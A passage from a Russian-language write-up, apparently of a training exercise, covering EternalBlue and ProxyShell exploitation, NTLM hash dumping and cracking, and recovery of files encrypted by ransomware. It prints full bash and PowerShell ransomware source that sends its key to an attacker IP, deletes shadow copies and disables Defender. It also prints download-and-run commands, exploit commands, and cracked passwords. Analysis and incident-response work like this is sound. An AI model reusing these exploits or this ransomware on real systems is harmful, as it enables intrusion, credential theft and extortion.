speratur in anno.` *(В один миг случается то, на что не надеешься и годами)* Дополнительно: - вернуть файл `/etc/motd` в изначальное состояние. - так же после открытия доступа к сурикате нашли сорцы `encr.sh` ```bash= #!/bin/bash iv=`cat /dev/urandom | tr -cd 'A-F0-9' | head -c 32` pass=`cat /dev/urandom | tr -cd 'A-F0-9' | head -c 10` dirwalk=/var/www/html files=`find $dirwalk -maxdepth 1 -type f | grep -P ".php$|FLAG.txt$"` for f in $files do outfile=$f.encr openssl enc -aes-256-cbc -a -salt -in $f -out $outfile -pass pass:$pass -iv $iv rm $f done echo "Oh! Hello there! You've been infected by GachiRansom, send 300$ to paypal:b.harrington@gmail.com to get your unecnryption key." | wall echo "Oh! Hello there! You've been infected by GachiRansom, send 300$ to paypal:b.harrington@gmail.com to get your unecnryption key." > /etc/motd exit 0 ``` ## EternalBlue Проверив некоторые хосты, обнаружим что они уязвимы для EternalBlue (CVE-2017-0144). Стоит так-же отметить, что все нижеперечисленные машины так-же уязвимы к CVE-2012-0002 и CVE-2012-0152 ``` rhosts => 10.11.2.12 msf6 auxiliary(scanner/smb/smb_ms17_010) > run [+] 10.11.2.12:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.11.2.12:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ``` rhosts => 10.11.4.8 msf6 auxiliary(scanner/smb/smb_ms17_010) > run [+] 10.11.4.8:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.11.4.8:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ``` rhosts => 10.11.239.5 msf6 auxiliary(scanner/smb/smb_ms17_010) > run [+] 10.11.239.5:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.11.239.5:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ``` rhosts => 10.11.239.6 msf6 auxiliary(scanner/smb/smb_ms17_010) > run [+] 10.11.239.6:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.11.239.6:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ``` rhosts => 10.11.240.14 msf6 auxiliary(scanner/smb/smb_ms17_010) > run [+] 10.11.240.14:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.11.240.14:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` Запустили на них сплоит и получим системный доступ ``` use exploit/windows/smb/ms17_010_eternalblue set rhosts <IP> run ``` Сдампили все ntlm хэши ``` msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/hashdump msf6 post(windows/gather/hashdump) > set session 2 session => 2 msf6 post(windows/gather/hashdump) > run [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 791b05821400438629a2a79f2923fa52... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... cadm:";)" [*] Dumping password hashes... Администратор:500:aad3b435b51404eeaad3b435b51404ee:4c24dc6d6c75dee89c887b44a02285ee::: Гость:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: cadm:1000:aad3b435b51404eeaad3b435b51404ee:3e3b78359fdb827d5d348b7b923f4e55::: [*] Post module execution completed ``` Результат для всех уязвимых машин: ``` msf6 post(windows/gather/hashdump) > creds Credentials =========== host origin service public private realm private_type JtR Format ---- ------ ------- ------ ------- ----- ------------ ---------- 10.11.2.12 445/tcp (smb) Администратор Blank password 10.11.2.12 10.11.2.12 445/tcp (smb) Администратор aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm 10.11.2.12 445/tcp (smb) Гость Blank password 10.11.2.12 10.11.2.12 445/tcp (smb) Гость aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm 10.11.2.12 10.11.2.12 445/tcp (smb) cadm aad3b435b51404eeaad3b435b51404ee:3e3b78359fdb827d5d348b7b923f4e55 NTLM hash nt,lm 10.11.239.5 10.11.239.5 445/tcp (smb) Администратор aad3b435b51404eeaad3b435b51404ee:4c24dc6d6c75dee89c887b44a02285ee NTLM hash nt,lm 10.11.239.5 10.11.2.12 445/tcp (smb) Гость aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm 10.11.239.5 10.11.2.12 445/tcp (smb) cadm aad3b435b51404eeaad3b435b51404ee:3e3b78359fdb827d5d348b7b923f4e55 NTLM hash nt,lm 10.11.239.5 10.11.239.5 445/tcp (smb) oper aad3b435b51404eeaad3b435b51404ee:b59607640885d9c51c5a85a5126c9551 NTLM hash nt,lm 10.11.239.6 10.11.239.5 445/tcp (smb) Администратор aad3b435b51404eeaad3b435b51404ee:4c24dc6d6c75dee89c887b44a02285ee NTLM hash nt,lm 10.11.239.6 10.11.2.12 445/tcp (smb) Гость aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm 10.11.239.6 10.11.2.12 445/tcp (smb) cadm aad3b435b51404eeaad3b435b51404ee:3e3b78359fdb827d5d348b7b923f4e55 NTLM hash nt,lm 10.11.239.6 10.11.239.5 445/tcp (smb) oper aad3b435b51404eeaad3b435b51404ee:b59607640885d9c51c5a85a5126c9551 NTLM hash nt,lm 10.11.240.14 10.11.2.12 445/tcp (smb) Администратор aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm 10.11.240.14 10.11.2.12 445/tcp (smb) Гость aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm 10.11.240.14 10.11.2.12 445/tcp (smb) cadm aad3b435b51404eeaad3b435b51404ee:3e3b78359fdb827d5d348b7b923f4e55 NTLM hash nt,lm ``` Пробрутим хэши паролей и получим следующие креды: ``` Администратор:500:aad3b435b51404eeaad3b435b51404ee:4c24dc6d6c75dee89c887b44a02285ee:::Maggie1 oper:1001:aad3b435b51404eeaad3b435b51404ee:b59607640885d9c51c5a85a5126c9551:::Stephanie1 ``` Данные учетные записи работают на ip 10.11.4.6,8,10,13 и других подсетях Залили туда свой ssh ключ, чтобы в будущем просто подключаться по ssh. Далее запускаем winpeas: ``` powershell $url = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" [Net.ServicePointManager]::SecurityProtocol = "tls12, tls11, tls" $wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("log=./winpeas.log") ``` ## ProxyShell На ip 10.11.3.20 работает уязвимая к CVE-2021-34473 ProxyShell. Используем metasploit: ``` msf6 > use exploit/windows/http/exchange_proxyshell_rce [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/http/exchange_proxyshell_rce) > set rhosts 10.11.3.20 rhosts => 10.11.3.20 msf6 exploit(windows/http/exchange_proxyshell_rce) > set lhost 10.11.5.12 lhost => 10.11.5.12 msf6 exploit(windows/http/exchange_proxyshell_rce) > set lport 13378 lport => 13378 msf6 exploit(windows/http/exchange_proxyshell_rce) > run ``` И получаем доступ к серверу Exchange ## Windows Decrypt Подключаемся к машине 10.11.239.6 по следующим кредам ```bash rdesktop -u Администратор -p Maggie1 10.11.239.6 ``` Сразу заметим на диске `C:\` странный файл `Ransom.ps1`, даже из названия очевидно что это малварь, но прежде стоит глянуть код. ```shell= set-strictMode -version 2.0 function Ransom { Param( [Parameter(Position = 0)] [String] $IP='127.0.0.1' ) $aesManaged=new-object "System.Security.Cryptography.AesManaged"; $aesManaged.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aesManaged.Padding=[System.Security.Cryptography.PaddingMode]::Zeros; $aesManaged.BlockSize=128; $aesManaged.KeySize=256; $aesManaged.GenerateKey(); $IV = [System.Convert]::ToBase64String($aesManaged.IV); $key = [System.Convert]::ToBase64String($aesManaged.Key); $URL="http://$IP/key=$Key&iv=$IV&pc=$env:computername"; try { Invoke-WebRequest $URL } catch { $_.Exception.Response.StatusCode.Value__} $background = "http://$IP/wall.jpg" Invoke-WebRequest -Uri $background -OutFile "/users/$env:USERNAME/wall.jpg" Start-Sleep -s 2 $wallpaper = "C:/users/$env:USERNAME/wall.jpg" Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name Wallpaper -value "$wallpaper" Set-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -value "10" Start-Sleep -s 2 rundll32.exe user32.dll, UpdatePerUserSystemParameters, 1 , $False vssadmin delete shadows /all /quiet; spsv vss -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode) -ne "Disabled"){ set-service vss -StartupType Disabled}; bcdedit /set recoveryenabled No|Out-Null; bcdedit /set bootstatuspolicy ignoreallfailures|Out-Null; spsv Wscsvc -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='Wscsvc'").StartMode) -ne "Disabled"){ set-service Wscsvc -StartupType Disabled}; spsv WinDefend -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='WinDefend'").StartMode) -ne "Disabled"){ set-service WinDefend -StartupType Disabled}; spsv Wuauserv -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='Wuauserv'").StartMode) -ne "Disabled"){ set-service Wuauserv -StartupType Disabled}; spsv BITS -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='BITS'").StartMode) -ne "Disabled"){ set-service BITS -StartupType Disabled}; spsv ERSvc -ErrorAction SilentlyContinue; spsv WerSvc -ErrorAction SilentlyContinue; if(((gwmi -Query "Select StartMode From Win32_Service Where Name='WerSvc'").StartMode) -ne "Disabled"){ set-service WerSvc -StartupType Disabled}; Write-Output "Encryption phase" $encryptor=$aesManaged.CreateEncryptor(); $directory = "C:\Share" $files=gci $directory -Recurse -Include *.txt,*.pdf,*.docx,*.doc,*.jpg; foreach($file in $files) { $bytes=[System.IO.File]::ReadAllBytes($($file.FullName)); $encryptedData=$encryptor.TransformFinalBlock($bytes, 0, $bytes.Length); [byte[]] $fullData=$aesManaged.IV + $encryptedData; [System.IO.File]::WriteAllBytes($($file.FullName+".crpt"),$fullData); Remove-Item $file; } } ``` Из кода становится понятно, что мы наткнулись на очередной криптер. Так как он передает в get запросе ключ шифрования и iv (через url), то нам достаточно где-то в логах найти http запрос и мы сможем все расшифровать (и вообще нам нужен только ключ шифрования, так как вектор инициализации передается в начало каждого файла). Пока лазили и смотрели файлы на системе нашли среди установленных программ `sysmon`, на его логи мы и нацелились в первую очередь. Запустим `eventvwr.msc` ("Просмотр событий") и пройдем по следущей цепочки `Applications and Services Log > Microsoft > Windows > Sysmon > Operational`. Там отсортировав логи sysmon'a по времени и зная время появления зашифрованных файлов, можем найти следущее событие: ``` Process Create: RuleName: technique_id=T1086,technique_name=PowerShell UtcTime: 2022-03-05 10:33:43.163 ProcessGuid: {98d53961-0000-0000-83e3-a70400000000} ProcessId: 4072 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe FileVersion: 10.0.14409.1005 (rs1_srvoob.161208-1155) Description: Windows PowerShell Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: PowerShell.EXE CommandLine: powershell.exe -ep bypass (new-object system.net.webclient).DownloadFile('http://10.11.200.50/Ransom.ps1','C:\Ransom.ps1');import-module C:\Ransom.ps1; Ransom -IP 10.11.200.50 CurrentDirectory: C:\ User: company\Administrator LogonGuid: {98d53961-0000-0000-27c1-a70400000000} LogonId: 0x4a7c127 TerminalSessionId: 0 IntegrityLevel: High Hashes: SHA1=88E7CDC0B75364418E11B2C53F772085F1B61D1E,MD5=A575A7610E5F003CC36DF39E07C4BA7D,SHA256=006CEF6EF6488721895D93E4CEF7FA0709C2692D74BDE1E22E2A8719B2A86218,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453 ParentProcessGuid: {98d53961-0000-0000-3fe0-a70400000000} ParentProcessId: 1948 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: cmd.exe /Q /c powershell.exe -ep bypass (new-object system.net.webclient).DownloadFile('http://10.11.200.50/Ransom.ps1','C:\Ransom.ps1');import-module C:\Ransom.ps1; Ransom -IP 10.11.200.50 1> \\127.0.0.1\ADMIN$\__1646476419.946397 2>&1 ``` Единственное полезное, что можно вытащить отсюда это, то как малварь попала на машину, ip злоумышленика и точное время этого события. ```shell cmd.exe /Q /c powershell.exe -ep bypass (new-object system.net.webclient).DownloadFile('http://10.11.200.50/Ransom.ps1','C:\Ransom.ps1');import-module C:\Ransom.ps1; Ransom -IP 10.11.200.50 1> \\127.0.0.1\ADMIN$\__1646476419.946397 2>&1 ``` И, к сожалению, около этого события не нашлось ничего что могло бы помочь нам найти ключ или запрос содержащий его. Так что было решенно посмотреть логи других программ, в различных сетевых логах ничего не нашлось, а вот в логах powershell'a (`Applications and Services Log > Microsoft > Windows > PowerShell > Operational`). Нашлась интересная и нужная запись. ``` CommandInvocation(Invoke-WebRequest): "Invoke-WebRequest" ParameterBinding(Invoke-WebRequest): name="Uri"; value="http://10.11.200.50/key=DXySLmtRkp9RWI/+RrEdxZAZ1ApBWZapUSRi3LpO/3U=&iv=HLjnip/6TvNwDoPabcdk7g==&pc=OIK-CLIENT" TerminatingError(Invoke-WebRequest): "<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.52 (Debian) Server at 10.11.200.50 Port 80</address> </body></html> " Контекст: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.14409.1005 Host ID = bbaf4e24-c8a1-40c4-a78e-c7b470c62708 Host Application = powershell.exe -ep bypass (new-object system.net.webclient).DownloadFile('http://10.11.200.50/Ransom.ps1','C:\Ransom.ps1');import-module C:\Ransom.ps1; Ransom -IP 10.11.200.50 Engine Version = 5.1.14409.1005 Runspace ID = f9f7609b-bf84-4a18-b829-69b410f181e0 Pipeline ID = 1 Command Name = Invoke-WebRequest Command Type = Cmdlet Script Name = C:\Ransom.ps1 Command Path = Sequence Number = 25 User = company\Administrator Connected User = Shell ID = Microsoft.PowerShell Данные пользователя: ``` Из нее видно, что совершается запрос http://10.11.200.50/key=DXySLmtRkp9RWI/+RrEdxZAZ1ApBWZapUSRi3LpO/3U=&iv=HLjnip/6TvNwDoPabcdk7g==&pc=OIK-CLIENT. Достаем из него base64 ключа и iv. ``` Key = DXySLmtRkp9RWI/+RrEdxZAZ1ApBWZapUSRi3LpO/3U= IV = HLjnip/6TvNwDoPabcdk7g== ``` Пропишем `set-executionpolicy remotesigned` чтобы можно было запускать powershell скрипты из файла, перепишем малварь под декриптер файлов и востановим все файлы из папки `C:\Share`. ```shell= $aesManaged=new-object "System.Security.Cryptography.AesManaged"; $aesManaged.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aesManaged.Padding=[System.Security.Cryptography.PaddingMode]::Zeros; $aesManaged.BlockSize=128; $aesManaged.KeySize=256; $string = "DXySLmtRkp9RWI/+RrEdxZAZ1ApBWZapUSRi3LpO/3U="; $array = $string.ToCharArray(); $key = [System.Convert]::FromBase64CharArray($array, 0, $array.Length); $string = "HLjnip/6TvNwDoPabcdk7g=="; $array = $string.ToCharArray(); $IV = [System.Convert]::FromBase64CharArray($array, 0, $array.Length); $aesManaged.Key = $key $aesManaged.IV = $IV Write-Output "Decryption phase" $decryptor=$aesManaged.CreateDecryptor(); $directory = "C:\Share" $files=gci $directory -Recurse -Include *.crpt; foreach($file in $files) { $bytes=[System.IO.File]::ReadAllBytes($($file.FullName)); $dt = $IV.Length $decryptedData=$decryptor.TransformFinalBlock($bytes, $dt, $bytes.Length-$dt); [System.IO.File]::WriteAllBytes($($file.FullName+".bak"),$decryptedData); } ``` Получим расшифрованный флаг. Флаг: `Factu scintillae fit saepe perustio villae.` *(Часто маленькая искорка дотла сжигает дом)* Дополнительно: - ключ и iv можно было так же найти в сурикате. ## Suricata Подключаемся к очередной машине 10.11.4.10 с ранее выясненными кредами ```bash rdesktop -u Администратор -p Maggie1 10.11.4.10 ``` На ней находим файл `10.11.4.10:/документы/11password.zip` С помощью `zip2john` и `john` попробуем подобрать к нему пароль. ```bash zip2john 11password.zip > zip.hashes john --wordlist=./rockyou7.txt zip.hashes ``` Он подобрал следующий пароль. ```bash jonny -> pass 12994 ``` Распаковав архив, найдем в нем следущий файл с кредами для Suricata. ``` Password on FW with suricata and pcap logs user:Tinker1 ```